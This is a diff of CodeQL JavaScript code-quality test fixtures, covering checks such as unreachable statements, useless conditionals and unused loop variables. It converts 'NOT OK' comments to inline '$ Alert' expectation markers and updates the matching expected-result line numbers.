+++ b/javascript/ql/test/query-tests/Statements/NestedLoopsSameVariable/tst.js
@@ -1,9 +1,8 @@
 for (var i=0; i<10; ++i) {
-	// NOT OK
-	for (var j=i; i>5; --i)
+	for (var j=i; i>5; --i) // $ Alert
 		f(i, j);
 	
-	// OK
+	
 	for (var k=0; k<i; ++k)
 		f(i, k);
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.expected b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.expected
index fe723a71c789..466d2f9383fb 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.expected
+++ b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.expected
@@ -1,2 +1,2 @@
-| tst.js:3:2:3:15 | return x = 23; | The assignment to x is useless, since it is a local variable and will go out of scope. |
-| tst.js:9:2:9:15 | return x = 23; | The assignment to x is useless, since it is a local variable and will go out of scope. |
+| tst.js:2:2:2:15 | return x = 23; | The assignment to x is useless, since it is a local variable and will go out of scope. |
+| tst.js:7:2:7:15 | return x = 23; | The assignment to x is useless, since it is a local variable and will go out of scope. |
diff --git a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.qlref b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.qlref
index 6df6e844861e..828686c3358a 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.qlref
+++ b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/ReturnAssignsLocal.qlref
@@ -1 +1,2 @@
-Statements/ReturnAssignsLocal.ql
\ No newline at end of file
+query: Statements/ReturnAssignsLocal.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/tst.js b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/tst.js
index c4b7bc2b0b75..050473b92961 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/tst.js
+++ b/javascript/ql/test/query-tests/Statements/ReturnAssignsLocal/tst.js
@@ -1,27 +1,25 @@
-// NOT OK
 function f(x) {
-	return x = 23;
+	return x = 23; // $ Alert
 }
 
-// NOT OK
 function g() {
 	var x;
-	return x = 23;
+	return x = 23; // $ Alert
 }
 
-// OK
+
 function h() {
 	return x = 23;
 }
 
-// OK
+
 function k() {
 	try {
 		return x = 23;
 	} catch(x) {}
 }
 
-// OK: the return statement assigns to a global, not the catch variable
+// OK - the return statement assigns to a global, not the catch variable
 function l() {
 	try {
 		throw new Error();
@@ -29,7 +27,7 @@ function l() {
 	return x = 23;
 }
 
-// OK
+
 function m() {
 	var x = 23;
 	return function() {
@@ -37,7 +35,7 @@ function m() {
 	};
 }
 
-// OK
+
 function n(x) {
 	global_getter = function() {
 		return x;
@@ -45,7 +43,7 @@ function n(x) {
 	return x = 23;
 }
 
-// OK
+
 function p() {
 	var x;
 	return {
diff --git a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.expected b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.expected
index 7d9b4959bac9..39a2c0329088 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.expected
+++ b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.expected
@@ -1,2 +1,2 @@
 | tst.html:9:66:9:78 | return false; | Return statement outside function. |
-| tst.js:2:1:2:10 | return 42; | Return statement outside function. |
+| tst.js:1:1:1:10 | return 42; | Return statement outside function. |
diff --git a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.qlref b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.qlref
index afd4e330a34d..c5bd9c545b24 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.qlref
+++ b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/ReturnOutsideFunction.qlref
@@ -1 +1,2 @@
-Statements/ReturnOutsideFunction.ql
+query: Statements/ReturnOutsideFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.html b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.html
index 6176fc9a39f1..7d80dd84642e 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.html
+++ b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.html
@@ -6,7 +6,7 @@
     </script>
 </head>
 <body>
-<form name="f" onSubmit="validateForm(this);" action="javascript:return false;" method="post" enctype="multipart/form-data">
+<form name="f" onSubmit="validateForm(this);" action="javascript:return false;" method="post" enctype="multipart/form-data"> <!-- $ Alert -->
 </form>
 <form name="g" onsubmit="return validateForm(this);" method="post">
 </form>
diff --git a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.js b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.js
index d94b71c8ab71..3e06b6ce43e2 100644
--- a/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.js
+++ b/javascript/ql/test/query-tests/Statements/ReturnOutsideFunction/tst.js
@@ -1,2 +1 @@
-// NOT OK
-return 42;
\ No newline at end of file
+return 42; // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.expected b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.expected
index 3a9418b5d9ed..218e141aff4a 100644
--- a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.expected
+++ b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.expected
@@ -1,4 +1,4 @@
-| tst.js:4:7:4:11 | let x | For loop variable x is not used in the loop body. |
-| tst.js:138:6:138:23 | const [key, value] | For loop variable value is not used in the loop body. |
-| tst.js:151:6:151:35 | const [ ...  value] | For loop variable value is not used in the loop body. |
-| tst.js:152:6:152:10 | let i | For loop variable i is not used in the loop body. |
+| tst.js:3:7:3:11 | let x | For loop variable x is not used in the loop body. |
+| tst.js:136:6:136:23 | const [key, value] | For loop variable value is not used in the loop body. |
+| tst.js:148:6:148:35 | const [ ...  value] | For loop variable value is not used in the loop body. |
+| tst.js:149:6:149:10 | let i | For loop variable i is not used in the loop body. |
diff --git a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.qlref b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.qlref
index e6317f67d4b4..77831cc4eb34 100644
--- a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.qlref
+++ b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/SuspiciousUnusedLoopIterationVariable.qlref
@@ -1 +1,2 @@
-Statements/SuspiciousUnusedLoopIterationVariable.ql
+query: Statements/SuspiciousUnusedLoopIterationVariable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/tst.js b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/tst.js
index f06c40664654..6deedccfd340 100644
--- a/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/tst.js
+++ b/javascript/ql/test/query-tests/Statements/SuspiciousUnusedLoopIterationVariable/tst.js
@@ -1,13 +1,12 @@
-// BAD
 function countOccurrences(xs, p) {
 	var count = 0;
-	for (let x of xs)
+	for (let x of xs) // $ Alert
 		if (p())
 			++count;
 	return count;
 }
 
-// OK
+
 function countOccurrences(xs, p) {
 	var count = 0;
 	for (let x of xs)
@@ -16,7 +15,7 @@ function countOccurrences(xs, p) {
 	return count;
 }
 
-// OK
+
 function countOccurrences(xs, p) {
 	var count = 0;
 	for (let unused of xs)
@@ -25,14 +24,14 @@ function countOccurrences(xs, p) {
 	return count;
 }
 
-// OK
+
 function isEmpty(o) {
 	for (var x in o)
 		return false;
 	return true;
 }
 
-// OK
+
 function getNumElt(o) {
 	var count = 0;
 	for (var x of o)
@@ -40,7 +39,7 @@ function getNumElt(o) {
 	return count;
 }
 
-// OK
+
 function getNumElt(o) {
 	var count = 0;
 	for (var x of o) {
@@ -49,7 +48,7 @@ function getNumElt(o) {
 	return count;
 }
 
-// OK
+
 function getNumElt(o) {
 	var count = 0;
 	for (var x of o)
@@ -57,7 +56,7 @@ function getNumElt(o) {
 	return count;
 }
 
-// OK
+
 function getNumElt(o) {
 	var count = 0;
 	for (var x of o)
@@ -65,7 +64,7 @@ function getNumElt(o) {
 	return count;
 }
 
-// OK
+
 function getNumElt(o) {
 	var count = 0;
 	for (var x of o) {
@@ -75,7 +74,7 @@ function getNumElt(o) {
 	return count;
 }
 
-// OK
+
 function f(o) {
 	for (var p in o)
 		(function() {
@@ -83,20 +82,20 @@ function f(o) {
 		})();
 }
 
-// OK
+
 function lastProp(o) {
 	var key;
 	for (key in obj);
 	return key;
 }
 
-// OK
+
 function g() {
 	for (var unused in {"toString": null})
 		hasDontEnumBug = false;
 }
 
-// OK
+
 function is_empty(obj) {
 	var empty = true;
 	for (var key in obj) {
@@ -106,7 +105,7 @@ function is_empty(obj) {
 	return empty;
 }
 
-// OK
+
 function f(objs) {
 	var non_empties = 0;
 	for (var obj in objs) {
@@ -118,7 +117,7 @@ function f(objs) {
 	return non_empties;
 }
 
-// OK: dead loops are not flagged
+// OK - dead loops are not flagged
 function countOccurrencesDead(xs, p) {
 	return;
 	var count = 0;
@@ -134,19 +133,17 @@ function countOccurrencesDead(xs, p) {
 	}
 });
 
-// NOT OK
-for (const [key, value] of array) {}
+for (const [key, value] of array) {} // $ Alert
 
-// OK: for array-destructurings we only flag the last element
+// OK - for array-destructurings we only flag the last element
 for (const [key, value] of array) {
 	console.log(value)
 }
 
-// OK: for array-destructurings we only flag the last element
+// OK - for array-destructurings we only flag the last element
 for (const [key, key2, key3, value] of array) {
 	console.log(value)
 }
 
-// NOT OK
-for (const [key, key2, key3, value] of array) {}
-for (let i of [1, 2]) {}
\ No newline at end of file
+for (const [key, key2, key3, value] of array) {} // $ Alert
+for (let i of [1, 2]) {} // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/UnreachableStatement/UnreachableStatement.qlref b/javascript/ql/test/query-tests/Statements/UnreachableStatement/UnreachableStatement.qlref
index 1751a9ed7a25..ef8e535dac61 100644
--- a/javascript/ql/test/query-tests/Statements/UnreachableStatement/UnreachableStatement.qlref
+++ b/javascript/ql/test/query-tests/Statements/UnreachableStatement/UnreachableStatement.qlref
@@ -1 +1,2 @@
-Statements/UnreachableStatement.ql
\ No newline at end of file
+query: Statements/UnreachableStatement.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/UnreachableStatement/tst.js b/javascript/ql/test/query-tests/Statements/UnreachableStatement/tst.js
index 446e51ede1e4..a0a7ddf33416 100644
--- a/javascript/ql/test/query-tests/Statements/UnreachableStatement/tst.js
+++ b/javascript/ql/test/query-tests/Statements/UnreachableStatement/tst.js
@@ -2,7 +2,7 @@
 
 function f() {
 	return 23;
-	var a = 42;
+	var a = 42; // $ Alert
 }
 
 function g(x) {
@@ -35,7 +35,7 @@ function k() {
 }
 
 throw new Error();
-f();
+f(); // $ Alert
 
 function l(x) {
 	switch(x) {
@@ -60,7 +60,7 @@ function m(x) {
 if (true)
 	x;
 else
-	y;
+	y; // $ Alert
 
 function f(){
 	if (x) {
diff --git a/javascript/ql/test/query-tests/Statements/UnreachableStatement/typealias.ts b/javascript/ql/test/query-tests/Statements/UnreachableStatement/typealias.ts
index 35ce5c6692ba..66eabeb7f073 100644
--- a/javascript/ql/test/query-tests/Statements/UnreachableStatement/typealias.ts
+++ b/javascript/ql/test/query-tests/Statements/UnreachableStatement/typealias.ts
@@ -1,5 +1,5 @@
 export function foo(x: number): number {
   let y : A = x;
   return y;
-  type A = number; // OK.
+  type A = number;
 }
diff --git a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/UseOfReturnlessFunction.qlref b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/UseOfReturnlessFunction.qlref
index 99db4d93c30a..766afa541076 100644
--- a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/UseOfReturnlessFunction.qlref
+++ b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/UseOfReturnlessFunction.qlref
@@ -1 +1,2 @@
-Statements/UseOfReturnlessFunction.ql
\ No newline at end of file
+query: Statements/UseOfReturnlessFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.html b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.html
index b8a041b65517..63c77ef3f76b 100644
--- a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.html
+++ b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.html
@@ -16,6 +16,6 @@
     <object id="container" data="editor/svg-editor.html" onload="addHandlers()"></object>
     <a href="javascript:addHandlers()">Foo</a>
     <div onclick="addHandlers()">Click me</div>
-    <div onclick="console.log(addHandlers() + 3)">Click me</div> <!-- NOT OK! -->
+    <div onclick="console.log(addHandlers() + 3)">Click me</div> <!-- $ Alert -->
   </body>
 </html>
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.js b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.js
index 7b9968115f5e..37da0c7e2a6a 100644
--- a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.js
+++ b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst.js
@@ -17,17 +17,17 @@
     console.log(returnsValue())
     console.log(stub())
 
-    console.log(onlySideEffects()); // Not OK!
+    console.log(onlySideEffects()); // $ Alert
 
-    var a = Math.random() > 0.5 ? returnsValue() : onlySideEffects(); // OK! A is never used.
+    var a = Math.random() > 0.5 ? returnsValue() : onlySideEffects(); // OK - A is never used.
     
-    var b = onlySideEffects();
+    var b = onlySideEffects(); // $ Alert
     console.log(b);
 
-	var c = 42 + (onlySideEffects(), 42); // OK, value is thrown away. 
+	var c = 42 + (onlySideEffects(), 42); // OK - value is thrown away.
 	console.log(c);
 	
-	var d = 42 + (42, onlySideEffects()); // NOT OK! 
+	var d = 42 + (42, onlySideEffects()); // $ Alert
 	console.log(d);
 	
 	if (onlySideEffects()) { 
@@ -42,7 +42,7 @@
 		onlySideEffects: onlySideEffects
 	}
 	
-	var e = myObj.onlySideEffects.apply(this, arguments); // NOT OK!
+	var e = myObj.onlySideEffects.apply(this, arguments); // $ MISSING: Alert
 	console.log(e);
 	
 	function onlySideEffects2() {
@@ -50,11 +50,11 @@
     }
 
 	var bothOnlyHaveSideEffects = Math.random() > 0.5 ? onlySideEffects : onlySideEffects2;
-	var f = bothOnlyHaveSideEffects(); // NOT OK!
+	var f = bothOnlyHaveSideEffects(); // $ Alert
 	console.log(f);
 	
 	var oneOfEach = Math.random() > 0.5 ? onlySideEffects : returnsValue;
-	var g = oneOfEach(); // OK
+	var g = oneOfEach();
 	console.log(g);
 	
 	function alwaysThrows() {
@@ -66,28 +66,28 @@
 		throw new Error("Important error!")
 	} 
 	
-	var h = returnsValue() || alwaysThrows(); // OK!
+	var h = returnsValue() || alwaysThrows();
 	console.log(h);
 	
 	function equals(x, y) {
 		return x === y;
 	}
 	
-	var foo = [1,2,3].filter(n => {equals(n, 3)}) // NOT OK!
+	var foo = [1,2,3].filter(n => {equals(n, 3)}) // $ Alert
 	console.log(foo);
 	
 	import { filter } from 'lodash'
-	var bar = filter([1,2,4], x => { equals(x, 3) } ) // NOT OK!
+	var bar = filter([1,2,4], x => { equals(x, 3) } ) // $ Alert
 	console.log(bar);
 	
-	var baz = [1,2,3].filter(n => {n === 3}) // OK
+	var baz = [1,2,3].filter(n => {n === 3})
 	console.log(baz);
 	
 	class Deferred {
 	
 	}
 	
-	new Deferred().resolve(onlySideEffects()); // OK
+	new Deferred().resolve(onlySideEffects());
 	
 	Promise.all([onlySideEffects(), onlySideEffects()])
 })();
@@ -104,16 +104,16 @@ class Foo {
 
 class Bar extends Foo {
 	constructor() {
-		console.log(super()); // OK.
+		console.log(super());
 	}
 }
 
 () => {
 	let equals = (x, y) => { return x === y; };
 
-	var foo = [1,2,3].findLastIndex(n => { equals(n, 3); }) // NOT OK
+	var foo = [1,2,3].findLastIndex(n => { equals(n, 3); }) // $ Alert
 	console.log(foo);
 
-	var foo = [1,2,3].findLast(n => { equals(n, 3); }) // NOT OK
+	var foo = [1,2,3].findLast(n => { equals(n, 3); }) // $ Alert
 	console.log(foo);
 }
diff --git a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst2.ts b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst2.ts
index 6da3bde4bf01..758b4480c64e 100644
--- a/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst2.ts
+++ b/javascript/ql/test/query-tests/Statements/UseOfReturnlessFunction/tst2.ts
@@ -3,4 +3,4 @@ declare function returnsSomething(): number;
 
 console.log(returnsSomething());
 
-console.log(returnsVoid()); // NOT OK!
\ No newline at end of file
+console.log(returnsVoid()); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/UselessComparisonTest.qlref b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/UselessComparisonTest.qlref
index ade7e7d0607e..d75778a10b0b 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/UselessComparisonTest.qlref
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/UselessComparisonTest.qlref
@@ -1 +1,2 @@
-Statements/UselessComparisonTest.ql
+query: Statements/UselessComparisonTest.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/constant.js b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/constant.js
index aa5ee0e1fb5b..dd0468451930 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/constant.js
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/constant.js
@@ -1,4 +1,4 @@
 function f() {
-  if (1 > 2) {} else {} // NOT OK - always false
-  if (1 > 0) {} else {} // NOT OK - always true
+  if (1 > 2) {} else {} // $ Alert - always false
+  if (1 > 0) {} else {} // $ Alert - always true
 }
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/defaults.js b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/defaults.js
index a40fc483a06c..f16d5a000a22 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/defaults.js
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/defaults.js
@@ -1,11 +1,11 @@
 function defaultParam(param = 0) {
-  if (param > 0) {} // OK
+  if (param > 0) {}
 }
 
 function defaultPattern(obj, arr) {
   let { prop = 0 } = obj;
-  if (prop > 0) {} // OK
+  if (prop > 0) {}
 
   let [ elm = 0 ] = arr;
-  if (elm > 0) {} // OK
+  if (elm > 0) {}
 }
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/example.js b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/example.js
index 53496ce2e4ef..cf0c23603e2a 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/example.js
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/example.js
@@ -5,7 +5,7 @@ function findValue(values, x, start, end) {
         return i;
     }
   }
-  if (i < end) {
+  if (i < end) { // $ Alert
     return i;
   }
   return -1;
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/implicitReturn.js b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/implicitReturn.js
index 7e198d0e0293..a8064ae69429 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/implicitReturn.js
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/implicitReturn.js
@@ -2,5 +2,5 @@ function test() {
   let x = (function() {
     if (g) return 5;
   })();
-  if (x + 1 < 5) {} // OK
+  if (x + 1 < 5) {}
 }
diff --git a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/tst.js b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/tst.js
index 4cc1fd775a43..58b9232cc161 100644
--- a/javascript/ql/test/query-tests/Statements/UselessComparisonTest/tst.js
+++ b/javascript/ql/test/query-tests/Statements/UselessComparisonTest/tst.js
@@ -5,6 +5,6 @@
 });
 
 (function(){
-	(function (i) { if (i == 100000) return; })(1);
-	(function f(i) { if (i == 100000) return; f(i+1); })(1);
+	(function (i) { if (i == 100000) return; })(1); // $ Alert
+	(function f(i) { if (i == 100000) return; f(i+1); })(1); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.js b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.js
index fe4bb6486ce0..edba36470508 100644
--- a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.js
+++ b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.js
@@ -2,35 +2,35 @@ function getLastLine(input) {
   var lines = [], nextLine;
   while ((nextLine = readNextLine(input)))
     lines.push(nextLine);
-  if (!lines)
+  if (!lines) // $ Alert
     throw new Error("No lines!");
   return lines[lines.length-1];
 }
 
 function lookup(cache, k) {
   var v;
-  return k in cache ? cache[k] : (v = new Entry(recompute())) && (cache[k] = v);
+  return k in cache ? cache[k] : (v = new Entry(recompute())) && (cache[k] = v); // $ Alert
 }
 
 function test(a, b) {
   if (!a && !b) {
-    if (a);
-    if (b);
+    if (a); // $ Alert
+    if (b); // $ Alert
   }
   if (!(a || b)) {
-    if (a);
-    if (b);
+    if (a); // $ Alert
+    if (b); // $ Alert
   }
 
   var x = new X();
-  if(x){}
-  if (new X()){}
-  if((x)){}
-  if(((x))){}
-  if ((new X())){}
+  if(x){} // $ Alert
+  if (new X()){} // $ Alert
+  if((x)){} // $ Alert
+  if(((x))){} // $ Alert
+  if ((new X())){} // $ Alert
 
   x = 0n;
-  if (x) // NOT OK
+  if (x) // $ Alert
     ;
 }
 
@@ -40,7 +40,7 @@ async function awaitFlow(){
     if (y)
         v = await f()
 
-    if (v) { // OK
+    if (v) {
     }
 }
 
@@ -51,92 +51,92 @@ async function awaitFlow(){
     var known = knownF();
     if (known)
         return;
-    if (known)
+    if (known) // $ Alert
         return;
 
     var unknown = unknownF();
     if (unknown)
         return;
-    if (unknown) // NOT OK
+    if (unknown) // $ Alert
         return;
 });
 
 (function (...x) {
-    x || y // NOT OK
+    x || y // $ Alert
 });
 
 (function() {
     function f1(x) {
-        x || y // NOT OK, but whitelisted
+        x || y // OK
     }
     f1(true);
 
     function f2(x) {
         while (true)
-            x || y // NOT OK
+            x || y // $ Alert
     }
     f2(true);
 
     function f3(x) {
         (function(){
-            x || y // NOT OK, but whitelisted
+            x || y // OK
         });
     }
     f3(true);
 });
 
 (function() {
-    if ((x, true));
+    if ((x, true)); // $ Alert
 });
 
 (function (x, y) {
     if (!x) {
-        while (x) { // NOT OK
+        while (x) { // $ Alert
             f();
         }
-        while (true) { // OK
+        while (true) {
             break;
         }
-        if (true && true) {} // NOT OK
-        if (y && x) {} // NOT OK
-        if (y && (x)) {} // NOT OK
-        do { } while (x); // NOT OK
+        if (true && true) {} // $ Alert
+        if (y && x) {} // $ Alert
+        if (y && (x)) {} // $ Alert
+        do { } while (x); // $ Alert
     }
 });
 
 (function(x,y) {
-    let obj = (x && {}) || y; // OK
-    if ((x && {}) || y) {} // NOT OK
+    let obj = (x && {}) || y;
+    if ((x && {}) || y) {} // $ Alert
 });
 
 (function(){
     function constantFalse1() {
         return false;
     }
-    if (constantFalse1()) // OK
+    if (constantFalse1())
         return;
 
 	function constantFalse2() {
 		return false;
     }
 	let constantFalse = unknown? constantFalse1 : constantFalse2;
-    if (constantFalse2()) // OK
+    if (constantFalse2())
         return;
 
 	function constantUndefined() {
         return undefined;
     }
-	if (constantUndefined()) // NOT OK
+	if (constantUndefined()) // $ Alert
         return;
 
 	function constantFalseOrUndefined1() {
 		return unknown? false: undefined;
 	}
-	if (constantFalseOrUndefined1()) // NOT OK
+	if (constantFalseOrUndefined1()) // $ Alert
         return;
 
 	let constantFalseOrUndefined2 = unknown? constantFalse1 : constantUndefined;
-	if (constantFalseOrUndefined2())  // NOT OK
+	if (constantFalseOrUndefined2())  // $ Alert
         return;
 
 });
@@ -145,12 +145,12 @@ async function awaitFlow(){
 	function p() {
 		return {};
 	}
-	if (p()) { // NOT OK
+	if (p()) { // $ Alert
 	}
 	var v = p();
-	if (v) { // NOT OK
+	if (v) { // $ Alert
 	}
-	if (v) { // NOT OK, but not detected due to SSA limitations
+	if (v) { // $ MISSING: Alert - due to SSA limitations
 	}
 });
 
@@ -160,12 +160,12 @@ async function awaitFlow(){
 		if (e) return e;
 		throw new Error();
 	}
-	if(findOrThrow()){ // NOT OK
+	if(findOrThrow()){ // $ Alert
 	}
 	var v = findOrThrow();
-	if (v) { // NOT OK
+	if (v) { // $ Alert
 	}
-	if (v) { // NOT OK, but not detected due to SSA limitations
+	if (v) { // $ MISSING: Alert - due to SSA limitations
 	}
 });
 
@@ -173,14 +173,14 @@ async function awaitFlow(){
 	function f(){ return { v: unkown };}
 	f();
 	var { v } = f();
-	if (v) { // OK
+	if (v) {
 	}
 });
 
 (function() {
     function outer(x) {
         addEventListener("click", () => {
-            if (!x && something()) { // NOT OK, but whitelisted
+            if (!x && something()) { // OK
                 something();
             }
         });
diff --git a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.qlref b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.qlref
index d29916245d6e..85ffff223221 100644
--- a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.qlref
+++ b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditional.qlref
@@ -1 +1,2 @@
-Statements/UselessConditional.ql
\ No newline at end of file
+query: Statements/UselessConditional.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditionalGood.js b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditionalGood.js
index 7b3888c982a4..74e2c0f2439f 100644
--- a/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditionalGood.js
+++ b/javascript/ql/test/query-tests/Statements/UselessConditional/UselessConditionalGood.js
@@ -11,90 +11,90 @@ function getLastLine(input) {
     function f1() {
         return false
     }
-    if(f1()){} // OK, whitelisted
+    if(f1()){} // OK - whitelisted
 
     function f2() {
         return false
     }
-    if(!f2()){} // OK, whitelisted
+    if(!f2()){} // OK - whitelisted
 
     function f3() {
         return false
     }
-    if(!!f3()){} // OK, whitelisted
+    if(!!f3()){} // OK - whitelisted
 
     function f4() {
         return false
     }
-    if(f4() || o.p){} // OK, whitelisted
+    if(f4() || o.p){} // OK - whitelisted
 
     function f5() {
         return false
     }
     var v5 = f5();
-    if(v5){} // OK, whitelisted
+    if(v5){} // OK - whitelisted
 
     function f6() {
         return false
     }
     var v6 = f6();
-    if(!!v6){} // OK, whitelisted
+    if(!!v6){} // OK - whitelisted
 })();
 
 (function tooGeneralFunctions(){
     function f1(x) {
-        if(x){} // OK, whitelisted
+        if(x){} // OK - whitelisted
     }
     f1(undefined);
     f1({});
 
     function f2(x) {
-        if(x){} // OK, whitelisted
+        if(x){} // OK - whitelisted
     }
     f2(undefined);
 
     function f3(x1) {
         var x2 = x1;
-        if(x2){} // NOT OK, not whitelisted
+        if(x2){} // $ Alert - not whitelisted
     }
     f3(undefined);
 
     function f4(x) {
-        if(x && o.p){} // OK, whitelisted
+        if(x && o.p){} // OK - whitelisted
     }
     f4(undefined);
 
     function f5(x, y) {
         var xy = o.q? x: y;
-        if(xy && o.p){} // NOT OK, not whitelisted
+        if(xy && o.p){} // $ Alert - not whitelisted
     }
     f5(undefined, undefined);
 
     function f6(x) {
-        if(!x){} // OK, whitelisted
+        if(!x){} // OK - whitelisted
     }
     f6(true);
 
     function f7(x) {
-        if(!!x){} // OK, whitelisted
+        if(!!x){} // OK - whitelisted
     }
     f7(true);
 
     function f8(x, y) {
         var xy = x || y;
-        if(xy){} // NOT OK, not whitelisted
+        if(xy){} // $ Alert - not whitelisted
     }
     f8(undefined, undefined);
 
     function f9(x, y) {
         var xy = !x || y;
-        if(xy){} // OK, whitelisted
+        if(xy){} // OK - whitelisted
     }
     f9(undefined, undefined);
 
     function f10(x, y) {
         var xy = !!x || y;
-        if(xy){} // NOT OK, not whitelisted
+        if(xy){} // $ Alert - not whitelisted
     }
     f10(undefined, undefined);
 
@@ -103,7 +103,7 @@ function getLastLine(input) {
 (function(){
 	function g(p) {
 		return function() {
-			if (p) { // OK, whitelisted
+			if (p) { // OK - whitelisted
 				g(p);
 			}
 		};
@@ -111,7 +111,7 @@ function getLastLine(input) {
 
 	function f(p = false) {
 		return function() {
-			if (p) { // OK, whitelisted
+			if (p) { // OK - whitelisted
 				f(p);
 			}
 		};
@@ -119,7 +119,7 @@ function getLastLine(input) {
 
